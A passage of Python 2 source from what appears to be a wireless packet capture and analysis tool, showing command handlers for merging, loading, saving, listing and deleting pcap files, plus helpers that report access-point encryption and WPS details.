                print spacing + fcolor.BRed + "The specified output file [ " + fcolor.BYellow + str(OUTPUTFILE) + fcolor.BRed + " ] must not contain wildcard."
            if OUTPUTFILE!="" and ERR=="":
                if IsFileDirExist(DIRUSE + OUTPUTFILE)=="F":
                    print spacing + fcolor.BRed + "The specified output file [ " + fcolor.BYellow + str(OUTPUTFILE) + fcolor.BRed + " ] already exist in [ " + fcolor.BYellow + DIRUSE + fcolor.BRed + " ]"
                    usr_resp=AskQuestion(fcolor.SGreen + "Replace the existing file ?","y/N","U","N","")
                    print ""
                    if usr_resp!="Y":
                        print spacing + fcolor.BRed + "Merging aborted !!"
                        ERR=1
            if len(READFILES)>1 and ERR=="":
                READFILES_DISPLAY=ArrangeFileDisplay(READFILES)
                print spacing + fcolor.BBlue + "The following " + str(len(READFILES)) + " files on [ " + fcolor.BYellow + str(DIRUSE) + fcolor.BBlue + " ] will be merged and save to [ " + fcolor.BYellow + str(OUTPUTFILE) + fcolor.BBlue + " ]."
                print READFILES_DISPLAY
                print spacing + fcolor.BBlue + "\nDirectory Use  [ " + fcolor.BYellow + str(DIRUSE) + fcolor.BBlue + " ]"
                print spacing + fcolor.BBlue + "Files to Merge [ " + fcolor.BYellow + str(len(READFILES)) + fcolor.BBlue + " ]"
                print spacing + fcolor.BBlue + "Output File    [ " + fcolor.BYellow + str(OUTPUTFILE) + fcolor.BBlue + " ]\n"
                usr_resp=AskQuestion(fcolor.SGreen + "Proceed with merge ?","Y/n","U","Y","")
                print ""
                if usr_resp!="Y":
                    print spacing + fcolor.BRed + "Merging aborted !!"
                else:
                    printl (spacing + fcolor.SGreen + "Merging... Please wait...","0","")
                    Rund="mergecap -a " + str(FILETOREAD) + " -w " +  str(DIRUSE) + str(OUTPUTFILE) # + " > /dev/null 2>&1 &"
                    ps=subprocess.Popen(Rund , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
                    ps.wait()
                    readout=str(ps.stdout.read())
                    ps.stdout.close()
                    if readout=="":
                        printl (spacing + fcolor.SGreen + "Merging Completed..","0","")
                    else:
                        printl (spacing + fcolor.BRed + "Merging Failed..","0","")
                    print ""
                    if IsFileDirExist(DIRUSE + OUTPUTFILE)=="F":
                        GetFileDetail(DIRUSE + OUTPUTFILE)
                        print spacing + fcolor.BWhite + "Output File   : " + fcolor.BYellow +  str(DIRUSE + OUTPUTFILE)
                        print spacing + fcolor.BWhite + "Size / Date   : " + fcolor.BYellow +  str(__builtin__.FileSize) + fcolor.BWhite + "  /  " + fcolor.BYellow +  str(__builtin__.FileCreated) + "\n"
                        
                        if IsProgramExists("wireshark")==True:
                            usr_resp=AskQuestion(fcolor.SGreen + "Do want want to view the file in Wireshark ?","Y/n","U","Y","")
                            if usr_resp=="Y":
                               result=os.system("wireshark " + str(DIRUSE + OUTPUTFILE) + " > /dev/null 2>&1 &")
                        usr_resp=AskQuestion(fcolor.SGreen + "Do you want delete the " + fcolor.BRed + str(len(READFILES)) + fcolor.SGreen + " files use to merge ? ","y/N","U","N","")
                        if usr_resp=="Y":
                            x=0
                            while x<len(READFILES):
                                printl (spacing + fcolor.SRed + "Deleting " + fcolor.BRed + str(DIRUSE) + str(READFILES[x]) + fcolor.SRed + "...","0","")
                                DelFile (DIRUSE + READFILES[x],"")
                                x += 1
                            printl (tabspacefull + fcolor.BRed + "Files deleted !!","0","")
                            print ""
                    else:
                        print spacing + fcolor.BRed + "Output file [ " + fcolor.BYellow + DIRUSE + OUTPUTFILE + fcolor.BRed  + " not found !!"
            
    if usrcmd[0]=="LOAD":
        RECON_CMD=1
        usrcmd=usr_resp.split(" ")
        if len(usrcmd)<2:
            print spacing + fcolor.BBlue + "[LOAD] Function"
            print spacing + fcolor.SWhite + "Allow user to load existing [pcap] file, existing packets that currently captured or load the filter configuration file."
            print spacing + fcolor.BWhite + "Example :"
            print spacing + fcolor.SWhite + "          LOAD FILTER\t\t\t  " + fcolor.SGreen + " - Load the saved filter configuration file"
            print spacing + fcolor.SWhite + "          LOAD NEW\t\t\t  " + fcolor.SGreen + " - Load existing captured packets."
            print spacing + fcolor.SWhite + "          LOAD /.SYWorks/Saved/MyPacket.cap" + fcolor.SGreen + " - Load the specified pcap file."
            print spacing + fcolor.BWhite + "Related :"
            print spacing + fcolor.SWhite + "          RELOAD\t\t\t  " + fcolor.SGreen + " - Reload the previous captured PCAP file."
        else:
            if usrcmd[1]=="NEW":
                 print fcolor.BBlue + spacing  + "Load Current Captured PCAP file"
                 PrevData=__builtin__.LOAD_PKTCAPTURE
                 __builtin__.LOAD_PKTCAPTURE="Yes"
                 AnalysePacketCapture()
                 __builtin__.LOAD_PKTCAPTURE=PrevData
                 printl (spacing + fcolor.BGreen + "Current captured packets file successfully loaded and analysed.\n","0","")
            elif usrcmd[1]=="FILTER":
                print spacing + fcolor.BBlue + "Filter Configuration"
                LoadPktConfig()
                CHANGES=""
                if len(__builtin__.ANALYSIS_SEARCH)!=0 or len(__builtin__.ANALYSIS_IGNORE)!=0  or len(__builtin__.ANALYSIS_MAC)!=0:
                    CHANGES="with the following options"
                print spacing + fcolor.SGreen + "Analysis filters loaded " + CHANGES
                DisplayAnalysisFilters()
            elif usrcmd[1]!="":
                FName=str(usr_resp_n)[5:]
                FileExist=0
                rfile=SearchFileOnDir(FName)
                if rfile!="":
                    FName=rfile
                    FileExist=1
                if IsFileDirExist(FName)=="F" and FileExist!=1:
                    FileExist=1
                if FileExist==1:
                    print fcolor.BBlue + spacing  + "Load PCAP File - " + fcolor.SYellow + str(FName)
                    __builtin__.PacketDumpFileBak2=__builtin__.PacketDumpFileBak
                    __builtin__.PacketDumpFileBak=FName
                    DeleteExistingPacketFiles()
                    ConvertPackets("1")
                    AnalyseTCPnTShark()
                    printl (spacing + fcolor.BGreen + str(__builtin__.FileName) + " successfully loaded and analysed.","0","")
                    print ""
                    print spacing + fcolor.SWhite + "You may now use SHOW LIST,SHOW DUMP to view the result."
                    print spacing + fcolor.SWhite + "To reload the previously captured PCAP, use [RELOAD] command."
                    __builtin__.PacketDumpFileBak=__builtin__.PacketDumpFileBak2
                else:
                    print fcolor.SRed + spacing + "Specified file " + fcolor.BRed + str(FName) + fcolor.SRed + " not found."
                    Rund=""
    if usrcmd[0]=="RELOAD":
        RECON_CMD=1;
        print fcolor.BBlue + spacing  + "Reload Previous Captured PCAP file - " + fcolor.BYellow + str(__builtin__.PacketDumpFileBak)
        DeleteExistingPacketFiles()
        ConvertPackets("1")
        AnalyseTCPnTShark()
        printl (spacing + fcolor.BGreen +  "Previous captured packets successfully loaded and analysed.","0","")
        print ""
        print spacing + fcolor.SWhite + "You may now use SHOW LIST,SHOW DUMP to view the result."
          
    if usr_resp=="MYMAC":
        RECON_CMD=1
        print tabspacefull + fcolor.BBlue + "Your Interface MAC Addresses"
        DisplayMyMAC()
    if usr_resp=="INFO" or usr_resp=="INFORMATION":
        RECON_CMD=1
        InfoColor=fcolor.SGreen
        lblColor=fcolor.SWhite
        print spacing + fcolor.BBlue + "Data Packets Information "
        if IsFileDirExist(__builtin__.CurrentPacket)=="F":
            GetFileDetail(__builtin__.CurrentPacket)
            print spacing + lblColor + "Currently Loaded   : " + fcolor.SCyan +  str(__builtin__.CurrentPacket).ljust(50) + lblColor + " Size : " + fcolor.SCyan +  str(__builtin__.FileSize).ljust(15) + lblColor + " Created : " + fcolor.SCyan +  str(__builtin__.FileCreated).ljust(23) + lblColor + "" 
        else:
            print spacing + lblColor + "Currently Loaded   : " + fcolor.BRed +  "Does not exist"
        if IsFileDirExist(__builtin__.PacketDumpFileBak)=="F":
            GetFileDetail(__builtin__.PacketDumpFileBak)
            print spacing +lblColor + "Last Captured Data : " + fcolor.SYellow + str(__builtin__.PacketDumpFileBak).ljust(50) + lblColor + " Size : " + fcolor.SYellow +  str(__builtin__.FileSize).ljust(15) + lblColor + " Created : " + fcolor.SYellow +  str(__builtin__.FileCreated).ljust(23) + lblColor + " "
        else:
            print spacing +lblColor + "Last Captured Data : " + fcolor.BRed + "Does not exist"
        if IsFileDirExist(__builtin__.PacketDumpFile)=="F":
            GetFileDetail(__builtin__.PacketDumpFile)
            print spacing + lblColor + "Active Capturing   : " + fcolor.SPink +  str(__builtin__.PacketDumpFile).ljust(50) + lblColor + " Size : " + fcolor.SPink +  str(__builtin__.FileSize).ljust(15) + lblColor + " Created : " + fcolor.SPink +  str(__builtin__.FileCreated).ljust(23) + lblColor + "" 
        else:
            print spacing + lblColor + "Active Capturing   : " + fcolor.BRed +  "Does not exist"
        print ""
        print spacing + fcolor.BBlue + "Interfaces Information "
        print spacing + lblColor + "Selected Interface : " +  fcolor.SCyan + str(__builtin__.SELECTED_IFACE_MAC).ljust(20) + fcolor.BWhite + " [ " + fcolor.BRed + str(__builtin__.SELECTED_IFACE) + fcolor.BWhite + " ]"
        print spacing + lblColor + "Managed Interface  : " +  fcolor.SYellow + str(__builtin__.SELECTED_MANIFACE_MAC).ljust(20) + fcolor.BWhite + " [ " + fcolor.BRed + str(__builtin__.SELECTED_MANIFACE) + fcolor.BWhite + " ]"
        print spacing + lblColor + "Monitor Interface  : " +  fcolor.SPink + str(__builtin__.SELECTED_MON_MAC).ljust(20) + fcolor.BWhite + " [ " + fcolor.BRed + str(__builtin__.SELECTED_MON) + fcolor.BWhite + " ]"
        print spacing + lblColor + "Attack Interface   : " +  fcolor.SPink + str(__builtin__.SELECTED_ATK_MAC).ljust(20) + fcolor.BWhite + " [ " + fcolor.BRed + str(__builtin__.SELECTED_ATK) + fcolor.BWhite + " ]"
        print ""
        print spacing + fcolor.BBlue + "Filtering Information "
        FILTERSTR="";yc=0
        while yc<len(__builtin__.ANALYSIS_IGNORE):
            FILTERSTR=FILTERSTR + InfoColor + __builtin__.ANALYSIS_IGNORE[yc] + StdColor + " / "
            yc += 1
        if FILTERSTR!="":
            FILTERSTR=str(FILTERSTR)[:-3]
        print spacing + lblColor + "Hidden Packet Type : " + InfoColor + str(FILTERSTR) 
        FILTERSTR="";yc=0
        while yc<len(__builtin__.ANALYSIS_SEARCH):
            FILTERSTR=FILTERSTR + InfoColor + __builtin__.ANALYSIS_SEARCH[yc] + StdColor + " / "
            yc += 1
        if FILTERSTR!="":
            FILTERSTR=str(FILTERSTR)[:-3]
        print spacing + lblColor + "Search Filter      : " + InfoColor + str(FILTERSTR) 
        FILTERSTR="";yc=0
        while yc<len(__builtin__.ANALYSIS_MAC):
            FILTERSTR=FILTERSTR + InfoColor + __builtin__.ANALYSIS_MAC[yc] + StdColor + " / "
            yc += 1
        if FILTERSTR!="":
            FILTERSTR=str(FILTERSTR)[:-3]
        print spacing + lblColor + "Search MAC         : " + InfoColor + str(FILTERSTR) 
        
    if usrcmd[0]=="CLEAR":
        if len(usrcmd)==1:
            RECON_CMD=1
            os.system('clear')
        else:
            if usrcmd[1]=="HISTORY":
                RECON_CMD=1
                readline.clear_history();__builtin__.LASTCMD="";__builtin__.LASTCMDLOG=""
                print fcolor.BBlue + "Commands history cleared.."                
    if usr_resp=="SAVE" or usr_resp=="SAVE ?":
        RECON_CMD=1
        print spacing + fcolor.BBlue + "[SAVE] Function"
        print spacing + fcolor.SWhite + "Save function allow user to save application configuration, filter criteria and captured captured pcap file and analyzed result."
        print spacing + fcolor.BWhite + "Example :"
        print spacing + fcolor.SWhite + "          SAVE CONFIG\t\t\t" + fcolor.SGreen + " - Save application configuration"
        print spacing + fcolor.SWhite + "          SAVE FILTER\t\t\t" + fcolor.SGreen + " - Save the filtering criteras"
        print spacing + fcolor.SWhite + "          SAVE DATA\t\t\t" + fcolor.SGreen + " - Save the current loaded pcap file and analyzed result."
    if usr_resp=="SAVE CONFIG":
        RECON_CMD=1;
        print fcolor.BBlue + tabspacefull + "Saving Config.."
        SaveConfig("1")
    if usr_resp[:11]=="SAVE FILTER":
        RECON_CMD=1;
        SavePktConfig()
        CHANGES=""
        if len(__builtin__.ANALYSIS_SEARCH)!=0 or len(__builtin__.ANALYSIS_IGNORE)!=0  or len(__builtin__.ANALYSIS_MAC)!=0:
            CHANGES="with the following changes"
        print spacing + fcolor.BGreen + "Analysis filters saved " + CHANGES
        DisplayAnalysisFilters()
    if usr_resp=="SAVE DATA":
        RECON_CMD=1
        print fcolor.BBlue + "Packet/Result Saving"
        print spacing + fcolor.SWhite + "This option allow you to make copy the captured 'cap' file and the converted/filtered result files."
        print spacing + fcolor.SWhite + "All files will be saved to " + fcolor.BWhite + str(savedir)
        print ""
        __builtin__.SHOWRESULT=3
        FName=Now().replace(":","").replace(" ","_")
        FName=FName
        print fcolor.BGreen + tabspacefull + "Files will to : " + fcolor.BYellow + savedir
        usr_resp=AskQuestion("Enter the prefix filename to save without any extension","Default = " + str(FName) ,"",str(FName),"1")
        FName=usr_resp.replace(":","").replace(" ","_").replace("\\","_").replace("/","_")
        print ""
        SrcFName=os.path.basename(__builtin__.CurrentPacket)
        SrcDir=os.path.dirname(__builtin__.CurrentPacket) + "/"
        NewCapFile=FName + ".cap"
        NewFilteredCapFile=FName + "_Filtered.cap"
        shutil.copy2(__builtin__.CurrentPacket, savedir + NewCapFile)
        print tabspacefull + fcolor.SGreen + "Pcap file saved to " + fcolor.SRed + savedir + NewCapFile
        SrcFName=str(__builtin__.TCPDumpFileBak).replace(tmpdir,"")
        CopyFile(tmpdir, savedir, SrcFName,"")
        NewDumpFile1=FName + "_TCPDump_Result.txt"
        os.rename(savedir + SrcFName,savedir + NewDumpFile1)
        print tabspacefull + fcolor.SGreen + "Converted TCPDump result saved to " + fcolor.SRed + savedir + NewDumpFile1
        SrcFName=str(__builtin__.TSharkFileBak).replace(tmpdir,"")
        CopyFile(tmpdir, savedir, SrcFName,"")
        NewDumpFile2=FName + "_TShark_Result.txt"
        os.rename(savedir + SrcFName,savedir + NewDumpFile2)
        print tabspacefull + fcolor.SGreen + "Converted TShark result saved to " + fcolor.SRed + savedir + NewDumpFile2
        if len(__builtin__.ANALYSIS_SEARCH)!=0 or len(__builtin__.ANALYSIS_IGNORE)!=0  or len(__builtin__.ANALYSIS_MAC)!=0:
            __builtin__.SavedTCPDumpFile=savedir + FName + "_TCPDump_Filtered.txt"
            printl (tabspacefull + fcolor.SGreen + "Saving filtered TCPDump file...","0","")
            open(__builtin__.SavedTCPDumpFile,"w").write("")
            __builtin__.SHOWRESULT=3
            AnalyseTCPDump("")
            printl (tabspacefull + fcolor.SGreen + "Filtered TCPDump result file saved to " + fcolor.SRed +  str(__builtin__.SavedTCPDumpFile),"0","")
            print ""
            __builtin__.SavedTSharkFile=savedir + FName + "_TShark_Filtered.txt"
            printl (tabspacefull + fcolor.SGreen + "Saving filtered TShark filte...","0","")
            open(__builtin__.SavedTSharkFile,"w").write("")
            AnalyseTShark("")
            printl (tabspacefull + fcolor.SGreen + "Filtered TShark result file saved to " + fcolor.SRed +  str(__builtin__.SavedTSharkFile),"0","")
            print ""
            if len(__builtin__.ANALYSIS_MAC)!=0:
                xm=0
                fmac="";dfmac=""
                while xm<len(__builtin__.ANALYSIS_MAC):
                    fmac=fmac + "wlan.addr==" + str(__builtin__.ANALYSIS_MAC[xm]) + " or "
                    dfmac=dfmac + str(__builtin__.ANALYSIS_MAC[xm]) + ","
                    xm += 1
                fmac=fmac[:-4]
                dfmac=dfmac[:-1]
                printl (tabspacefull + fcolor.SGreen + "Saving MAC filtered pcap file...","0","")
                ps=subprocess.Popen("tshark -r " + str(__builtin__.CurrentPacket) + " -R '" +  str(fmac) + "' -w " + savedir + NewFilteredCapFile + "" , shell=True, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'))	
                printl (tabspacefull + fcolor.SGreen + "Filtered PCap file saved " + fcolor.SRed +  str(savedir + NewFilteredCapFile) + fcolor.SGreen + " - MAC filtered : " + str(dfmac) ,"0","")
        else:
            print tabspacefull + fcolor.SRed + "No filter found.. Saving of filtered result files bypassed.."
        print ""
        __builtin__.SHOWRESULT=3
        usr_resp=AskQuestion(fcolor.SGreen + "Do you want to explore the saved directory - " + fcolor.BGreen + savedir,"y/N","U","N","1")
        if usr_resp=="Y":
            Explore(savedir,"")
    if usrcmd[0]=="RM":
        FILETODELETE=[]
        if len(usrcmd)==1 or usrcmd[1]=="?":
            RECON_CMD=1
            print spacing + fcolor.BBlue + "[RM] Function"
            print spacing + fcolor.SWhite + "RM is a function that is use to delete the specified file after the command RM."
            print spacing + fcolor.BWhite + "Example :"
            print spacing + fcolor.SWhite + "          RM ATTACK_2014*.cap\t\t  " + fcolor.SGreen + " - Delete the specified files found in the first found directory." 
            print spacing + fcolor.SWhite + "          RM MONITOR_20140415.cap\t  " + fcolor.SGreen + " - Delete the specified file found in the first found directory." 
            print spacing + fcolor.SWhite + "          LIST PCAP *2014*\t\t  " + fcolor.SGreen + " - Delete file containing the word '2014' in PCAP directory " + str(savedir)
            print spacing + fcolor.SWhite + "          LIST DB Cautious_BK.log\t\t  " + fcolor.SGreen + " - Delete 'Cautious_BK.log' in " + str(dbdir)
        else:
            if len(usrcmd)>1:
                x=1
                rDir=ReturnSpecifiedDir(usrcmd[1])
                if rDir!="":
                    x=2
                else:
                    SplitFileDetail(usrcmd_n[x])
                    if __builtin__.FilePath!="" and __builtin__.FilePath!="/":
                        __builtin__.lookupdir=__builtin__.FilePath
                    else:
                        FName=SearchFileOnDir(usrcmd_n[x])
                        SplitFileDetail(FName)
                        if __builtin__.FilePath!="":
                            __builtin__.lookupdir=__builtin__.FilePath
                    if usrcmd_n[x].find("*")!=-1:
                        FFilter=usrcmd_n[x]
                        SplitFileDetail(usrcmd_n[x])
                        FFilter=__builtin__.FileNameOnly
                        if __builtin__.FileExt=="":
                            __builtin__.ExtList=['pcap','cap']
                        else:
                            __builtin__.ExtList=[str(__builtin__.FileExt).replace(".","")]
                        SearchFiles(attackdir,__builtin__.ExtList,FFilter)
                        __builtin__.lookupdir=attackdir
                        if len(__builtin__.FoundFiles)<=0:
                            __builtin__.lookupdir=mondir
                            SearchFiles(mondir,__builtin__.ExtList,FFilter)
                            if len(__builtin__.FoundFiles)<=0:
                                __builtin__.lookupdir=savedir
                                SearchFiles(savedir,__builtin__.ExtList,FFilter)
                                if len(__builtin__.FoundFiles)<=0:
                                    __builtin__.lookupdir=dbdir
                                    SearchFiles(dbdir,__builtin__.ExtList,FFilter)
                RECON_CMD=1
                while x<len(usrcmd_n):
                    if usrcmd[x].find("*")!=-1:
                        FFilter=usrcmd_n[x]
                        SplitFileDetail(usrcmd_n[x])
                        FFilter=__builtin__.FileNameOnly
                        SearchFiles(__builtin__.lookupdir,__builtin__.ExtList,FFilter)
                        if len(__builtin__.FoundFiles)>0:
                            y=0
                            while y<len(__builtin__.FoundFiles):
                                FILETODELETE=AddIfNotDuplicate(__builtin__.FoundFiles[y], FILETODELETE)
                                y += 1
                        else:
                            print fcolor.SRed + "Specific file [ " + fcolor.BRed + str(FFilter) + fcolor.SRed + " not found in directory."
                    else:
                        SplitFileDetail(usrcmd_n[x])
                        FName=__builtin__.FileName
                        if IsFileDirExist(__builtin__.lookupdir + FName)=="F":
                            FILETODELETE=AddIfNotDuplicate(usrcmd_n[x], FILETODELETE)       # FILETODELETE.append ()
                        else:
                            DisplayFileNotFound(usrcmd_n[x])
                    x += 1
                if len(FILETODELETE)!=0:
                    FILETODELETE_DISPLAY=ArrangeFileDisplay(FILETODELETE)
                    print spacing + fcolor.BBlue + "The following " + str(len(FILETODELETE)) + " files on [ " + fcolor.BYellow + str(__builtin__.lookupdir) + fcolor.BBlue + " ] will be deleted !!!"
                    print FILETODELETE_DISPLAY + "\n"
                    usr_resp=AskQuestion(fcolor.SGreen + "Do you want delete the " + fcolor.BRed + str(len(FILETODELETE)) + fcolor.SGreen + " files ? ","y/N","U","N","")
                    if usr_resp=="Y":
                        x=0
                        while x<len(FILETODELETE):
                            printl (spacing + fcolor.SRed + "Deleting " + fcolor.BRed + str(__builtin__.lookupdir) + str(FILETODELETE[x]) + fcolor.SRed + "...","0","")
                            DelFile (__builtin__.lookupdir + FILETODELETE[x],"")
                            x += 1
                        printl (tabspacefull + fcolor.BRed + "Files deleted !!","0","")
                        print ""
                    else:
                        print spacing + fcolor.BRed + "Delete Aborted !!"
                else:
                    print spacing + fcolor.BRed + "No file found !!"
    if usrcmd[0]=="LIST":
        if len(usrcmd)==1 or usrcmd[1]=="?":
            RECON_CMD=1
            print spacing + fcolor.BBlue + "[LIST] Function"
            print spacing + fcolor.SWhite + "LIST together with [PCAP], [TXT], [DB], [LOG], [ATK], [ATTACK], [MON] or [MONITOR] allow user to list out the files found on the speficied directories."
            print spacing + fcolor.SWhite + "User may also use wildcard in to filter their search."
            print spacing + fcolor.BWhite + "Example :"
            print spacing + fcolor.SWhite + "          LIST PCAP\t\t  " + fcolor.SGreen + " - List PCAP files in " + str(savedir)
            print spacing + fcolor.SWhite + "          LIST PCAP MY_FILE*\t  " + fcolor.SGreen + " - List PCAP files in " + str(savedir) + " which starting with 'MY_FILE'"
            print spacing + fcolor.SWhite + "          LIST PCAP *MY_FILE*\t  " + fcolor.SGreen + " - List PCAP files in " + str(savedir) + " which containing with 'MY_FILE'"
            print spacing + fcolor.SWhite + "          LIST TXT\t\t  " + fcolor.SGreen + " - List text files in " + str(savedir)
            print spacing + fcolor.SWhite + "          LIST LOG\t\t  " + fcolor.SGreen + " - List logging files in " + str(dbdir)
            print spacing + fcolor.SWhite + "          LIST DB\t\t  " + fcolor.SGreen + " - List Database files in " + str(dbdir)
            print spacing + fcolor.SWhite + "          LIST ATK / ATTACK\t  " + fcolor.SGreen + " - List Attacks PCAP files in " + str(attackdir)
            print spacing + fcolor.SWhite + "          LIST MON / MONITOR\t  " + fcolor.SGreen + " - List Monitoring PCAP files in " + str(mondir)
            print spacing + fcolor.BWhite + "Notes :"
            print spacing + fcolor.BRed   + "          Do not specified the directory and file extension in the wildcard search."
        else:
            rDir=ReturnSpecifiedDir(usrcmd[1])
            if rDir!="":
                RECON_CMD=1
                print fcolor.BBlue + "Lookup Directory : " + fcolor.BYellow + __builtin__.lookupdir
                FFilter=""
                if len(usrcmd)==3:
                    SplitFileDetail(usrcmd_n[2])
                    FFilter=__builtin__.FileNameOnly
                    if __builtin__.FileExt!="":
                        __builtin__.ExtList= [__builtin__.FileExt]                        
                SearchFiles(__builtin__.lookupdir,__builtin__.ExtList,FFilter)
                if len(__builtin__.FoundFiles)>0:
                    ListFiles=ArrangeFileDisplay(__builtin__.FoundFiles)
                    print fcolor.SGreen + str(ListFiles)
                    print fcolor.SWhite + str(len(__builtin__.FoundFiles)) + " file(s) listed."
                else:
                    print fcolor.SGreen + "No specific file found in directory."
    if RECON_CMD==0 and len(usr_resp)>0 and usr_resp!="." and usr_resp!=".." and usr_resp!="...":
        if IsProgramExists(usrcmd_n[0])==True or IsProgramExists(usrcmd_n[0])==False:
            print fcolor.SBlue + "Running External Command : " + fcolor.BYellow + str(usr_resp_n) + fcolor.SWhite
            if usrcmd[0]=="CD" and len(usrcmd)>1:
                if IsFileDirExist(usr_resp_n[3:])=="D":
                    os.chdir(usr_resp_n[3:])
                    print fcolor.SBlue + "New Directory            : " + fcolor.BYellow + str(os.getcwd()) + fcolor.SWhite
                else:
                    print fcolor.SBlue + "Current Directory        : " + fcolor.BYellow + str(os.getcwd()) + fcolor.SWhite
                    print fcolor.SRed + "Specified directory not found !"
                    
            else:
                print fcolor.SBlue + "Current Directory        : " + fcolor.BYellow + str(os.getcwd()) + fcolor.SWhite
                original_sigint=signal.getsignal(signal.SIGINT)
                signal.signal(signal.SIGINT,signal.SIG_IGN)
                ps=subprocess.Popen(usr_resp_n, shell=True, stdout=subprocess.PIPE)	
                __builtin__.ExtReadOut=str(ps.stdout.read())
                if str(__builtin__.ExtReadOut).replace("\n","")!="":
                    RunCmd=1
                    print fcolor.SWhite + __builtin__.ExtReadOut
                ps.wait();ps.stdout.close()
                if __builtin__.DISABLE_BREAK=="No":
                    signal.signal(signal.SIGINT,original_sigint)
            RECON_CMD=1
    if usr_resp!="" and usr_resp!="CLEAR" and usr_resp!="." and usr_resp!="..":
        if RECON_CMD==0:
            print spacing + fcolor.SRed + "Unrecognized Command ! Key in HELP for assistance."
        else:
            if usr_resp!="HELP":
                __builtin__.LASTCMD=usr_resp_n
                __builtin__.LASTCMDLOG=__builtin__.LASTCMDLOG + fcolor.SGreen + Now() + "\t- " + fcolor.BYellow + str(usr_resp_n) + "\n"
        if RunCmd!=1:
            print ""
    ReadCommand()
    return

def AddIfNotDuplicate(sName,sList):
    tmpList=[]
    tmpList=sList
    if str(tmpList).find("'" + sName + "'")==-1:
        tmpList.append (sName)
    return tmpList

def ReturnSpecifiedDir(sName):
    if sName=="CAP" or sName=="PCAP" or sName=="TXT" or sName=="LOG" or sName=="DB" or sName=="MONITOR" or sName=="MON" or sName=="ATTACK" or sName=="ATK":
        __builtin__.lookupdir=""
        if sName=="CAP" or sName=="PCAP" or sName=="TXT":
            __builtin__.lookupdir=savedir
        if sName=="LOG" or sName=="DB":
            __builtin__.lookupdir=dbdir
        if sName=="ATTACK" or sName=="ATK":
            __builtin__.lookupdir=attackdir
        if sName=="MONITOR" or sName=="MON":
            __builtin__.lookupdir=mondir
        if sName=="CAP" or sName=="PCAP" or sName=="MON" or sName=="MONITOR" or sName=="ATK" or sName=="ATTACK":
            __builtin__.ExtList= ['pcap','cap']
        if sName=="TXT":
            __builtin__.ExtList= ['txt']
        if sName=="LOG":
            __builtin__.ExtList= ['log']
        if sName=="DB":
           __builtin__.ExtList= ['db']
        return __builtin__.lookupdir
    return ""

def DisplayFileNotFound(FName):
    print fcolor.SRed + spacing + "Specified file " + fcolor.BRed + str(FName) + fcolor.SRed + " not found."

def SplitFileDetail(fpath):
    __builtin__.FilePath=""
    __builtin__.FileName=""
    __builtin__.FileNameOnly=""
    __builtin__.FileExt=""
    __builtin__.FilePath=os.path.dirname(fpath) + "/"
    __builtin__.FileName=os.path.basename(fpath)
    tmpstr,__builtin__.FileExt=os.path.splitext(fpath)
    __builtin__.FileNameOnly=tmpstr

def SearchFileOnDir(FName):
    SplitFileDetail(FName)
    if IsFileDirExist(FName)!="F":
        for dir in __builtin__.searchdir:
            SplitFileDetail(dir + FName)
            if IsFileDirExist(dir + FName)=="F":
                FName=dir + FName
                return FName
    else:
        return FName
    return ""

def ArrangeFileDisplay(sFileList):
    x=0;mxlen=0;rDisplay="";MxCol=7
    while x<len(sFileList):
        clen=len(sFileList[x])
        if clen>mxlen:
            mxlen=clen
        x += 1
    mxlen=mxlen + 25
    SW=GetScreenWidth()
    SW=SW+25
    if int(mxlen)*int(MxCol)>int(SW):
        MxCol=6
        if int(mxlen)*int(MxCol)>int(SW):
            MxCol=5
            if int(mxlen)*int(MxCol)>int(SW):
                MxCol=4
                if int(mxlen)*int(MxCol)>int(SW):
                   MxCol=3
                   if int(mxlen)*int(MxCol)>int(SW):
                      MxCol=2
                      if int(mxlen)*int(MxCol)>int(SW):
                          MxCol=1
    x=0
    c=1
    while x<len(sFileList):
        fn=sFileList[x]
        GetFileDetail(__builtin__.lookupdir + fn)
        fn="*FG*" + fn + "*FW*" + " [" + str(__builtin__.FileSize) + "]"
        if c>int(MxCol):
            rDisplay=rDisplay + "\n"
            c=1
        rDisplay=rDisplay + fn.ljust(mxlen)
        x += 1;c += 1
    rDisplay=rDisplay.replace("*FG*",fcolor.SGreen).replace("*FW*",fcolor.SWhite)
    return rDisplay

def DisplayAnalysisFilters():
    DisplayAnalysisMACFilter("")
    DisplayAnalysisSearchFilter("")
    DisplayAnalysisIgnoreFilter("")

def GetEncryptionType(FistMAC,SecondMAC):
    ReturnEncryption=""
    MACUse=FistMAC
    foundloc=FindMACIndex(FistMAC,ListInfo_BSSID)
    if foundloc==-1:
        foundloc=FindMACIndex(SecondMAC,ListInfo_BSSID)
        MACUse=SecondMAC
    if foundloc!=-1:
        if str(ListInfo_BSSID[foundloc])==str(MACUse):
            ReturnEncryption=str(ListInfo_Privacy[foundloc]) + "\t" + str(ListInfo_Cipher[foundloc]) + "\t" + str(ListInfo_Auth[foundloc])+ "\t" + str(ListInfo_WPS[foundloc]) + "\t" + str(ListInfo_WPSVer[foundloc]) + "\t" + str(ListInfo_WPSLock[foundloc])+ "\t" + str(MACUse)
    else:
        ReturnEncryption="\t\t\t\t\t\t\t\t"
    return ReturnEncryption

def GetPrivacyInfo(FrMAC,ToMAC,ToBSSID,Loc):
    EncryptionType=[]
    Result=GetEncryptionType(ToBSSID,FrMAC)
    EncryptionType=str(Result).split("\t")
    if EncryptionType[Loc]=="":
        Result=GetEncryptionType(ToMAC,ToBSSID)
        EncryptionType=str(Result).split("\t")
    return EncryptionType[Loc]

def GetWPSInfo(FrMAC,ToMAC,ToBSSID):
    EncryptionType=[]
    Result=GetEncryptionType(ToBSSID,FrMAC)
    EncryptionType=str(Result).split("\t")
    if EncryptionType[0]=="":
        Result=GetEncryptionType(ToMAC,ToBSSID)
        EncryptionType=str(Result).split("\t")
    if EncryptionType[3]=="Yes":
        return "Ver - " + str(EncryptionType[4]) + " / Lock? : " + str(EncryptionType[5])
    else:
        return ""

def ArrangeSignalReport(FrMAC,ToMAC,Spacer,lblColor):
    Report=""
    if ToMAC!="Not Associated" and FrMAC!="Not Associated":
        FrMacType="Station"
        ToMacType="Station"
        foundloc=FindMACIndex(FrMAC,ListInfo_BSSID)
        if foundloc!=-1:
            FrMacType="Access Point"
        foundloc=FindMACIndex(ToMAC,ListInfo_BSSID)
        if foundloc!=-1:
            ToMacType="Access Point"
         
        Report=lblColor + Spacer + str(FrMacType) + " [" + FrMAC + "] is near to you than you are to the " + str(ToMacType) + " [" + ToMAC + "]"
    return Report

def ArrangeSignalLocation(FrColor,FrMAC,FrSignal,ToColor,ToMAC,ToSignal,Spacer,lblColor,ToDisplay):
